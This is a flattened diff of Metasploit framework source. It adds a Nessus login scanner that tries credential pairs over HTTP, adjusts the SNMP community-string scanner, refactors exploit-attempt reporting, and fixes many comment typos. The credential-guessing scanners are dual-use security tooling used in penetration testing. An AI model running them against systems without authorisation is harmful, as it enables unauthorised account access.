result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end end
Result.new(result_opts) Result.new(result_opts)
@ -322,7 +356,7 @@ module Metasploit
# Combine the base URI with the target URI in a sane fashion # Combine the base URI with the target URI in a sane fashion
# #
# @param [String] The target URL # @param [String] target_uri the target URL
# @return [String] the final URL mapped against the base # @return [String] the final URL mapped against the base
def normalize_uri(target_uri) def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/') (self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')

View File

@ -50,7 +50,7 @@ module Metasploit
else else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end end
Result.new(result_opts) Result.new(result_opts)

View File

@ -0,0 +1,94 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class Nessus < HTTP
DEFAULT_PORT = 8834
PRIVATE_TYPES = [ :password ]
LIKELY_SERVICE_NAMES = [ 'nessus' ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is a Tenable Nessus server.
#
# @return [Boolean] TrueClass if target is Nessus server, otherwise FalseClass
def check_setup
login_uri = "/server/properties"
res = send_request({'uri'=> login_uri})
if res && res.body.include?('Nessus')
return true
end
false
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def get_login_state(username, password)
login_uri = "#{uri}"
res = send_request({
'uri' => login_uri,
'method' => 'POST',
'vars_post' => {
'username' => username,
'password' => password
}
})
unless res
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
end
if res.code == 200 && res.body =~ /token/
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
end
# Attempts to login to Nessus.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
def set_sane_defaults
super
# nessus_rest_login has the same default in TARGETURI, but rspec doesn't check nessus_rest_login
# so we have to set the default here, too.
self.uri = '/session'
end
end
end
end
end

View File

@ -17,6 +17,40 @@ module Metasploit
PRIVATE_TYPES = [ :password ] PRIVATE_TYPES = [ :password ]
REALM_KEY = nil REALM_KEY = nil
# The number of retries per community string
# @return [Fixnum]
attr_accessor :retries
# The SNMP version to scan
# @return [String]
attr_accessor :version
validates :retries,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 0
}
validates :version,
presence: true,
inclusion: {
in: ['1', '2c', 'all']
}
# This method returns an array of versions to scan
# @return [Array] An array of versions
def versions
case version
when '1'
[:SNMPv1]
when '2c'
[:SNMPv2c]
when 'all'
[:SNMPv1, :SNMPv2c]
end
end
# This method attempts a single login with a single credential against the target # This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with # @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
@ -29,14 +63,14 @@ module Metasploit
service_name: 'snmp' service_name: 'snmp'
} }
[:SNMPv1, :SNMPv2c].each do |version| versions.each do |version|
snmp_client = ::SNMP::Manager.new( snmp_client = ::SNMP::Manager.new(
:Host => host, :Host => host,
:Port => port, :Port => port,
:Community => credential.public, :Community => credential.public,
:Version => version, :Version => version,
:Timeout => connection_timeout, :Timeout => connection_timeout,
:Retries => 2, :Retries => retries,
:Transport => ::SNMP::RexUDPTransport, :Transport => ::SNMP::RexUDPTransport,
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
) )

View File

@ -27,44 +27,9 @@ module Metasploit
end end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway. # Returns the latest sid from Symantec Web Gateway.
# #
# @returns [String] The PHP Session ID for Symantec Web Gateway login # @return [String] The PHP Session ID for Symantec Web Gateway login
def get_last_sid def get_last_sid
@last_sid ||= lambda { @last_sid ||= lambda {
# We don't have a session ID. Well, let's grab one right quick from the login page. # We don't have a session ID. Well, let's grab one right quick from the login page.
@ -130,7 +95,14 @@ module Metasploit
# @param credential [Metasploit::Framework::Credential] The credential object # @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure # @return [Result] A Result object indicating success or failure
def attempt_login(credential) def attempt_login(credential)
result_opts = { credential: credential } result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin begin
result_opts.merge!(get_login_state(credential.public, credential.private)) result_opts.merge!(get_login_state(credential.public, credential.private))

View File

@ -59,14 +59,15 @@ module Metasploit
end end
end end
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. # Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the
# `including_module`.
# #
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
# @return [void] # @return [void]
def self.optionally_include_metasploit_credential_creation(including_module) def self.optionally_include_metasploit_credential_creation(including_module)
optionally( optionally(
'metasploit/credential/creation', 'metasploit/credential',
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}", "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}"
) do ) do
including_module.send(:include, Metasploit::Credential::Creation) including_module.send(:include, Metasploit::Credential::Creation)
end end

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist? if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb' tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -536,6 +536,7 @@ class ReadableText
] ]
columns << 'Via' if verbose columns << 'Via' if verbose
columns << 'PayloadId' if verbose
tbl = Rex::Ui::Text::Table.new( tbl = Rex::Ui::Text::Table.new(
'Indent' => indent, 'Indent' => indent,
@ -555,7 +556,11 @@ class ReadableText
if session.respond_to? :platform if session.respond_to? :platform
row[1] += " " + session.platform row[1] += " " + session.platform
end end
row << session.via_exploit if verbose and session.via_exploit
if verbose
row << session.via_exploit.to_s
row << session.payload_uuid.to_s
end
tbl << row tbl << row
} }
@ -566,7 +571,7 @@ class ReadableText
# Dumps the list of running jobs. # Dumps the list of running jobs.
# #
# @param framework [Msf::Framework] the framework. # @param framework [Msf::Framework] the framework.
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH # @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
# and start time, if they exist, for each job. # and start time, if they exist, for each job.
# @param indent [Integer] the indentation amount. # @param indent [Integer] the indentation amount.
# @param col [Integer] the column wrap width. # @param col [Integer] the column wrap width.

View File

@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
nhost = find_internet_connected_address nhost = find_internet_connected_address
original_session_host = self.session_host original_session_host = self.session_host
# If we found a better IP address for this session, change it up # If we found a better IP address for this session, change it
# only handle cases where the DB is not connected here # up. Only handle cases where the DB is not connected here
if !(framework.db && framework.db.active) if nhost && !(framework.db && framework.db.active)
self.session_host = nhost self.session_host = nhost
end end
@ -461,6 +461,8 @@ protected
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
# @return [String] The address from which this host reaches the # @return [String] The address from which this host reaches the
# internet, as ASCII. e.g.: "192.168.100.156" # internet, as ASCII. e.g.: "192.168.100.156"
# @return [nil] If there is an interface with an address that matches
# {#session_host}
def find_internet_connected_address def find_internet_connected_address
ifaces = self.net.config.get_interfaces().flatten rescue [] ifaces = self.net.config.get_interfaces().flatten rescue []
@ -497,7 +499,9 @@ protected
end end
if !nhost if !nhost
# Find the first non-loopback address # No internal address matches what we see externally and no
# interface has a default route. Fall back to the first
# non-loopback address
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
if non_loopback if non_loopback
nhost = non_loopback.ip nhost = non_loopback.ip

View File

@ -76,11 +76,9 @@ require 'msf/http/jboss'
require 'msf/kerberos/client' require 'msf/kerberos/client'
# Java RMI Support # Java RMI Support
require 'msf/java/rmi/util'
require 'msf/java/rmi/client' require 'msf/java/rmi/client'
# Java JMX Support
require 'msf/java/jmx'
# Drivers # Drivers
require 'msf/core/exploit_driver' require 'msf/core/exploit_driver'

View File

@ -6,7 +6,7 @@ module Msf
### ###
# #
# The auxiliary class acts as a base class for all modules that perform # The auxiliary class acts as a base class for all modules that perform
# reconnaisance, retrieve data, brute force logins, or any other action # reconnaissance, retrieve data, brute force logins, or any other action
# that doesn't fit our concept of an 'exploit' (involving payloads and # that doesn't fit our concept of an 'exploit' (involving payloads and
# targets and whatnot). # targets and whatnot).
# #

View File

@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option. # from the database. This allows the users to use the DB_ALL_CREDS option.
# #
# @param cred_collection [Metasploit::Framework::CredentialCollection] # @param [Metasploit::Framework::CredentialCollection] cred_collection
# the credential collection to add to # the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection # @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
def prepend_db_keys(cred_collection) def prepend_db_keys(cred_collection)
if prepend_db_creds? if prepend_db_creds?
each_ssh_cred do |cred| each_ssh_cred do |cred|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
# {Metasploit::Framework::CredentialCollection} as dictated by the # {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options. # selected datastore options.
# #
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to # @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process # @param [Metasploit::Credential::Core] cred the credential to process
def process_cred_for_collection(cred_collection, cred) def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS'] cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
@ -548,7 +548,7 @@ module Auxiliary::AuthBrute
end end
# Provides a consistant way to display messages about AuthBrute-mixed modules. # Provides a consistant way to display messages about AuthBrute-mixed modules.
# Acceptable opts are fairly self-explanitory, but :level can be tricky. # Acceptable opts are fairly self-explanatory, but :level can be tricky.
# #
# It can be one of status, good, error, or line (and corresponds to the usual # It can be one of status, good, error, or line (and corresponds to the usual
# print_status, print_good, etc. methods). # print_status, print_good, etc. methods).

View File

@ -243,7 +243,7 @@ module Auxiliary::Cisco
store_cred(cred) store_cred(cred)
# #
# Various authentication secretss # Various authentication secrets
# #
when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i
user = $1 user = $1

View File

@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
end end
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
# out to a file and returns the {rex::quickfile} object. # out to a file and returns the {Rex::Quickfile} object.
# #
# @return [nilClass] if there is no active framework db connection # @return [nilClass] if there is no active framework db connection
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file

View File

@ -16,7 +16,7 @@ module Auxiliary::Login
EOL = CR + LF EOL = CR + LF
# #
# Creates an instance of a login negoation module. # Creates an instance of a login negotiation module.
# #
def initialize(info = {}) def initialize(info = {})
super super

View File

@ -113,13 +113,11 @@ module Auxiliary::Report
# #
# Report a client connection # Report a client connection
# # @param opts [Hash] report client information based on user-agent
# opts must contain # @option opts [String] :host the address of the client connecting
# :host the address of the client connecting # @option opts [String] :ua_string a string that uniquely identifies this client
# :ua_string a string that uniquely identifies this client # @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
# opts can contain # @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
# :ua_name a brief identifier for the client, e.g. "Firefox"
# :ua_ver the version number of the client, e.g. "3.0.11"
# #
def report_client(opts={}) def report_client(opts={})
return if not db return if not db
@ -161,7 +159,7 @@ module Auxiliary::Report
# by a module. This method is deprecated and the new Metasploit::Credential methods # by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead. # should be used directly instead.
# #
# @param :opts [Hash] the option hash # @param opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host}) # @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service # @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for # @option opts [Mdm::Service] :service an optional Service object to build the cred for
@ -427,7 +425,7 @@ module Auxiliary::Report
fname = ctype || "local_#{Time.now.utc.to_i}" fname = ctype || "local_#{Time.now.utc.to_i}"
end end
# Split by path seperator # Split by path separator
fname = ::File.split(fname).last fname = ::File.split(fname).last
case ctype # Probably could use more cases case ctype # Probably could use more cases

View File

@ -85,7 +85,7 @@ class DataStore < Hash
def import_options_from_s(option_str, delim = nil) def import_options_from_s(option_str, delim = nil)
hash = {} hash = {}
# Figure out the deliminter, default to space. # Figure out the delimeter, default to space.
if (delim.nil?) if (delim.nil?)
delim = /\s/ delim = /\s/
@ -94,7 +94,7 @@ class DataStore < Hash
end end
end end
# Split on the deliminter # Split on the delimeter
option_str.split(delim).each { |opt| option_str.split(delim).each { |opt|
var, val = opt.split('=') var, val = opt.split('=')

View File

@ -23,6 +23,10 @@ require 'msf/core/service_state'
class Msf::DBManager class Msf::DBManager
extend Metasploit::Framework::Require extend Metasploit::Framework::Require
# Default proto for making new `Mdm::Service`s. This should probably be a
# const on `Mdm::Service`
DEFAULT_SERVICE_PROTO = "tcp"
autoload :Adapter, 'msf/core/db_manager/adapter' autoload :Adapter, 'msf/core/db_manager/adapter'
autoload :Client, 'msf/core/db_manager/client' autoload :Client, 'msf/core/db_manager/client'
autoload :Connection, 'msf/core/db_manager/connection' autoload :Connection, 'msf/core/db_manager/connection'
@ -100,7 +104,7 @@ class Msf::DBManager
attr_accessor :usable attr_accessor :usable
# #
# iniitialize # initialize
# #
def initialize(framework, opts = {}) def initialize(framework, opts = {})

View File

@ -95,7 +95,7 @@ module Msf::DBManager::Cred
ret = {} ret = {}
# Check to see if the creds already exist. We look also for a downcased username with the # Check to see if the creds already exist. We look also for a downcased username with the
# same password because we can fairly safely assume they are not in fact two seperate creds. # same password because we can fairly safely assume they are not in fact two separate creds.
# this allows us to hedge against duplication of creds in the DB. # this allows us to hedge against duplication of creds in the DB.
if duplicate_ok if duplicate_ok
@ -177,4 +177,4 @@ module Msf::DBManager::Cred
alias :report_auth :report_auth_info alias :report_auth :report_auth_info
alias :report_cred :report_auth_info alias :report_cred :report_auth_info
end end

View File

@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt
} }
end end
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
# the `vuln` option is passed).
#
# @option (see #do_report_failure_or_success)
# @return (see #do_report_failure_or_success)
def report_exploit_failure(opts) def report_exploit_failure(opts)
return unless opts.has_key?(:refs) && !opts[:refs].blank?
host = opts[:host] || return
::ActiveRecord::Base.connection_pool.with_connection { wspace = opts[:workspace] || workspace
wspace = opts.delete(:workspace) || workspace port = opts[:port]
mrefs = opts.delete(:refs) || return prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
host = opts.delete(:host) svc = opts[:service]
port = opts.delete(:port)
prot = opts.delete(:proto)
svc = opts.delete(:service)
vuln = opts.delete(:vuln)
timestamp = opts.delete(:timestamp)
freason = opts.delete(:fail_reason)
fdetail = opts.delete(:fail_detail)
username = opts.delete(:username)
mname = opts.delete(:module)
# Look up the host as appropriate
if not (host and host.kind_of? ::Mdm::Host)
if svc.kind_of? ::Mdm::Service
host = svc.host
else
host = get_host( :workspace => wspace, :address => host )
end
end
# Bail if we dont have a host object
return if not host
# Look up the service as appropriate # Look up the service as appropriate
if port and svc.nil? if port and svc.nil?
prot ||= "tcp" svc = get_service(wspace, host, prot, port)
svc = get_service(wspace, host, prot, port) if port
end end
if not vuln # Look up the host as appropriate
# Create a references map from the module list if !host || !host.kind_of?(::Mdm::Host)
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
})
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
# Report a vuln_attempt if we found a match
if vuln
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:fail_reason => freason,
:fail_detail => fdetail,
:username => username || "unknown",
:module => mname
}
vuln.vuln_attempts.create(attempt_info)
end
# Report an exploit attempt all the same
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:username => username || "unknown",
:module => mname,
:fail_reason => freason,
:fail_detail => fdetail
}
attempt_info[:vuln_id] = vuln.id if vuln
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || "tcp"
end
host.exploit_attempts.create(attempt_info)
}
end
def report_exploit_success(opts)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
mrefs = opts.delete(:refs) || return
host = opts.delete(:host)
port = opts.delete(:port)
prot = opts.delete(:proto)
svc = opts.delete(:service)
vuln = opts.delete(:vuln)
timestamp = opts.delete(:timestamp)
username = opts.delete(:username)
mname = opts.delete(:module)
# Look up or generate the host as appropriate
if not (host and host.kind_of? ::Mdm::Host)
if svc.kind_of? ::Mdm::Service if svc.kind_of? ::Mdm::Service
host = svc.host host = svc.host
else else
host = report_host(:workspace => wspace, :address => host ) host = get_host(workspace: wspace, address: host)
end end
end end
# Bail if we dont have a host object # Bail if we dont have a host object
return if not host return if not host
opts = opts.dup
opts[:service] = svc
opts[:host] = host
do_report_failure_or_success(opts)
end
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
# the `vuln` option is passed).
#
# @return (see #do_report_failure_or_success)
def report_exploit_success(opts)
return unless opts[:refs]
host = opts[:host] || return
wspace = opts[:workspace] || workspace
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
# Look up or generate the service as appropriate # Look up or generate the service as appropriate
if port and svc.nil? if port and svc.nil?
svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port # it is rude to modify arguments in place
opts = opts.dup
opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO
opts[:service] = report_service(
workspace: wspace, host: host, port: port, proto: prot
)
end end
if not vuln do_report_failure_or_success(opts)
# Create a references map from the module list end
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
})
# Try find a matching vulnerability private
vuln = find_vuln_by_refs(ref_objs, host, svc)
end # @option opts [Array<String>, Array<Msf::Module::Reference>] :refs
# @option opts [Mdm::Host] :host
# @option opts [Mdm::Service] :service
# @option opts [Integer] :port (nil)
# @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS`
# @option opts [Mdm::Vuln] :vuln (nil)
# @option opts [Time] :timestamp (nil)
# @option opts [Mdm::Vuln] :timestamp (nil)
# @option opts [String] :module (nil)
# @return [void]
def do_report_failure_or_success(opts)
return unless opts[:refs]
::ActiveRecord::Base.connection_pool.with_connection {
mrefs = opts[:refs]
host = opts[:host]
port = opts[:port]
prot = opts[:proto]
svc = opts[:service]
vuln = opts[:vuln]
timestamp = opts[:timestamp]
freason = opts[:fail_reason]
fdetail = opts[:fail_detail]
username = opts[:username]
mname = opts[:module]
if vuln.nil?
ref_names = mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
}
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(name: ref_names)
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
# We have match, lets create a vuln_attempt record
if vuln
attempt_info = { attempt_info = {
:vuln_id => vuln.id,
:attempted_at => timestamp || Time.now.utc, :attempted_at => timestamp || Time.now.utc,
:exploited => true, :exploited => (freason.nil? ? true : false),
:fail_detail => fdetail,
:fail_reason => freason,
:module => mname,
:username => username || "unknown", :username => username || "unknown",
:module => mname
} }
attempt_info[:session_id] = opts[:session_id] if opts[:session_id] attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
vuln.vuln_attempts.create(attempt_info) # We have match, lets create a vuln_attempt record
if vuln
attempt_info[:vuln_id] = vuln.id
vuln.vuln_attempts.create(attempt_info)
# Correct the vuln's associated service if necessary # Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil? if svc and vuln.service_id.nil?
vuln.service = svc vuln.service = svc
vuln.save vuln.save
end
end end
end
# Report an exploit attempt all the same # Report an exploit attempt all the same
attempt_info = {
:attempted_at => timestamp || Time.now.utc, if svc
:exploited => true, attempt_info[:port] = svc.port
:username => username || "unknown", attempt_info[:proto] = svc.proto
:module => mname end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
end
host.exploit_attempts.create(attempt_info)
} }
attempt_info[:vuln_id] = vuln.id if vuln
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || "tcp"
end
host.exploit_attempts.create(attempt_info)
}
end end
end end

View File

@ -96,8 +96,7 @@ module Msf::DBManager::Host
norm_host = host.host norm_host = host.host
elsif host.respond_to?(:session_host) elsif host.respond_to?(:session_host)
# Then it's an Msf::Session object # Then it's an Msf::Session object
thost = host.session_host norm_host = host.session_host
norm_host = thost
end end
# If we got here and don't have a norm_host yet, it could be a # If we got here and don't have a norm_host yet, it could be a
@ -325,4 +324,4 @@ module Msf::DBManager::Host
host host
} }
end end
end end

View File

@ -8,7 +8,7 @@ module Msf::DBManager::Import::Libpcap
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
# seen_hosts is only used for determining when to yield an address. Once we get # seen_hosts is only used for determining when to yield an address. Once we get
# some packet analysis going, the values will have all sorts of info. The plan # some packet analysis going, the values will have all sorts of info. The plan
# is to ru through all the packets as a first pass and report host and service, # is to run through all the packets as a first pass and report host and service,
# then, once we have everything parsed, we can reconstruct sessions and ngrep # then, once we have everything parsed, we can reconstruct sessions and ngrep
# out things like authentication sequences, examine ttl's and window sizes, all # out things like authentication sequences, examine ttl's and window sizes, all
# kinds of crazy awesome stuff like that. # kinds of crazy awesome stuff like that.

View File

@ -64,7 +64,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
end end
# Only report loot if we actually have it. # Only report loot if we actually have it.
# TODO: Copypasta. Seperate this out. # TODO: Copypasta. Separate this out.
if ::File.exists? loot_info[:orig_path] if ::File.exists? loot_info[:orig_path]
loot_dir = ::File.join(basedir,"loot") loot_dir = ::File.join(basedir,"loot")
loot_file = ::File.split(loot_info[:orig_path]).last loot_file = ::File.split(loot_info[:orig_path]).last
@ -114,7 +114,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path] task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
# Only report a task if we actually have it. # Only report a task if we actually have it.
# TODO: Copypasta. Seperate this out. # TODO: Copypasta. Separate this out.
if ::File.exists? task_info[:orig_path] if ::File.exists? task_info[:orig_path]
tasks_dir = ::File.join(basedir,"tasks") tasks_dir = ::File.join(basedir,"tasks")
task_file = ::File.split(task_info[:orig_path]).last task_file = ::File.split(task_info[:orig_path]).last
@ -168,7 +168,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# Grab the list of unique basedirs over all entries. # Grab the list of unique basedirs over all entries.
@import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."} @import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."}
# mkdir all of the base directores we just pulled out, if they don't # mkdir all of the base directories we just pulled out, if they don't
# already exist # already exist
@import_filedata[:zip_tmp_subdirs].each {|sub| @import_filedata[:zip_tmp_subdirs].each {|sub|
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub) tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)

View File

@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
data[:host] = hobj || addr data[:host] = hobj || addr
data[:info] = extra if not extra.empty? data[:info] = extra if not extra.empty?
data[:task] = args[:task] data[:task] = args[:task]
if p["name"] != "unknown" data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
data[:name] = p["name"]
end
report_service(data) report_service(data)
} }
#Parse the scripts output #Parse the scripts output

View File

@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset
qid = vuln.elements['QID'].first.to_s qid = vuln.elements['QID'].first.to_s
vuln_refs[qid] ||= [] vuln_refs[qid] ||= []
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
end end
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s) vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset
end # host end # host
end end
end end

View File

@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan
refs.push(ref.elements['ID'].text.to_s) refs.push(ref.elements['ID'].text.to_s)
end end
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
